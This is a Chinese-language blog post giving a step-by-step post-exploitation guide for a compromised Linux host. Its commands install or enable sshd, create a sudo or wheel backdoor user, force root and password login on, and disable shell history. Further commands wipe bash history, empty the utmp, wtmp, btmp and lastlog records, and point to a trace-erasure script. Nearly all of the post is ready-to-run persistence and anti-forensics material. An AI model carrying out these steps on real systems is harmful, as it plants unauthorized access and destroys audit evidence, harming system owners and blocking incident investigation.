shell—ssh—痕迹擦除

shell——ssh——痕迹擦除

流程

1
2
3
                       /-无————安装ssh服务——新建高权限用户——痕迹擦除
判断主机类型——有无sshd服务-
\-有——新建高权限用户——痕迹擦除

要根据系统的不同使用不同的命令。

查看系统:

1
2
3
cat /etc/os-release

判断centos、Ubuntu....

image-20250504202408113

1、要先判断是否有sshd服务

SSH 客户端用于发起远程 SSH 连接,而 SSHD 则确保服务器能够接受这些连接

1
2
3
4
5
6
#一般的linux
systemctl status sshd

#Alpine Linux
rc-service sshd status
如果command not found,则apk add openrc 安装服务

image-20250429113636313

2、如果没有,则安装开启;如果有,那是是否对外开放

判断是否存在ssh、sshd服务

1
systemctl list-unit-files | grep ssh          #探查是否存在

如果如下,则已安装

image-20250429113615039

image-20250504202850056

如果没有安装,则安装ssh、sshd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Debian 或 Ubuntu 系统
sudo apt update
sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh

/usr/sbin/sshd #启动sshd


# Red Hat 或 CentOS 系统
sudo dnf install openssh-server

sudo yum install openssh-server

sudo systemctl enable sshd
sudo systemctl start sshd

# Arch Linux 系统
sudo pacman -S openssh
sudo systemctl enable sshd
sudo systemctl start sshd

#Alpine linux
apk update
apk add openssh
rc-update add sshd
rc-service sshd start #开启ssh
rc-service sshd status #查看状态
sed -i 's/^#\?\(PermitRootLogin\).*/\1 yes/' /etc/ssh/sshd_config #写入root直接登录
sed -i 's/^#\?\(PasswordAuthentication\).*/\1 yes/' #写入允许密码认证登录 /etc/ssh/sshd_config

设置开机自启动

1
2
3
4
5
6
7
8
9
10
11
# 开启 SSHD 服务开机自启
sudo systemctl enable sshd.service

# 验证 SSHD 服务是否已设置为开机自启
sudo systemctl is-enabled sshd.service

# 启动 SSHD 服务
sudo systemctl start sshd.service

# 检查 SSHD 服务的运行状态
sudo systemctl status sshd.service

保证22开外开放

  1. 确认监听状态

    1
    sudo ss -tlnp | grep sshd

    img

  2. 检查防火墙规则

    1
    2
    sudo ufw status          # Ubuntu/Debian
    sudo firewall-cmd --list-all # CentOS/RHEL

3、建立ssh的高权限用户

1
2
3
4
5
6
7
8
9
10
11
#添加用户
sudo adduser <用户名> (sudo adduser sysadmin)

#更改用户密码
sudo passwd <用户名>

#加入sudo组(Ubuntu/Debian)
sudo usermod -aG sudo <用户名> (sudo usermod -aG sudo sysadmin)

#加入sudo组(CentOS/RHEL/Fedora)
sudo usermod -aG wheel <用户名> (sudo usermod -aG wheel sysadmin)

再次确保 SSH 服务允许密码登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo cat /etc/ssh/sshd_config

#会看到如下两个配置
PermitRootLogin yes(no) # 允许(禁止) root 直接登录
PasswordAuthentication yes(no) # 允许(禁止)密码登录(如果使用密钥可设为 no)


如果有,修改为‘都允许’
sed -i 's/^#\?\s*PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#\?\s*PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config

如果没有看到,则如下写入
echo 'PermitRootLogin yes' | sudo tee -a /etc/ssh/sshd_config
echo 'PasswordAuthentication yes' | sudo tee -a /etc/ssh/sshd_config

#写入成功后,要重启ssh服务
sudo systemctl restart ssh


image-20250429121552396

4、痕迹擦除

痕迹擦除的主要方向就是一些日志文件,我们进行的操作分别包括下面两个

1、执行命令

2、修改用户

所以我们只需要关注这两个会被记录到哪些文件即可。

简单的痕迹擦除

拿到shell之后

1、确保后续命令不写入命令执行的日志文件

1
2
3
4
5
# 设置当前shell内的命令不再记入日志中,命令会被记录到历史记录中,可以尝试在命令前添加空格让记录不被记录
set +o history
如果需要重新记入日志,可以设置-o参数

set -o history

2、删除反弹shell的命令

sudo nano /root/.bash_history,但是半交互式命令行可以无法实现nano,所以我可以如下直接覆盖

1
2
history -c   #清空当前会话的记录
history -w #把当前的会话记录覆盖原记录

3、删除登录信息

1
2
3
4
5
6
7
8
sudo chown root:root /var/log/lastlog
#作用:将文件 /var/log/lastlog 的所有者(owner)和所属组(group)都设置为 root。
#原因:/var/log/lastlog 是一个系统日志文件,记录了每个用户的最后一次登录时间。将其归属恢复为 root:root 可以防止非特权用户修改或破坏该文件。

sudo truncate -s 0 /var/log/lastlog
#作用:将文件大小截断为 0 字节,即清空文件内容,但保留文件本身。

#原因:1、比直接删除再重建更安全,可保留文件的 inode 和权限属性,只清除其内部记录。2、免去删除文件后的重建步骤(有时重建过程会受到服务或进程的干扰)。

更深一步擦除

常见的一些日志文件,也就是需要关注的地方

命令 日志文件 功能
w,who /var/run/utmp 记录当前正在登录系统的用户信息,uptime记录系统启动时间
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试
lastlog /var/log/lastlog 最近登录记录

这些日志都是以二进制形式存储,清除方法如下

清除方法

直接清空:

1
2
3
4
5
> /var/run/utmp   
或者像上面一样使用 sudo truncate -s 0 /var/log/lastlog ,下面的文件同理
> /var/log/wtmp
> /var/log/btmp
> /var/log/lastlog

其他

然后就是修改一些文件的时间,这个一般很少被关注,所以可以利用脚本来实现,命令太多了

痕迹擦除小脚本

这个就用一个自写的小脚本来实现即可

项目地址:https://github.com/Yf3te/-Trace-erasure


shell—ssh—痕迹擦除
http://example.com/2025/05/05/shell—ssh—痕迹擦除/
作者
Yf3te
发布于
2025年5月5日
许可协议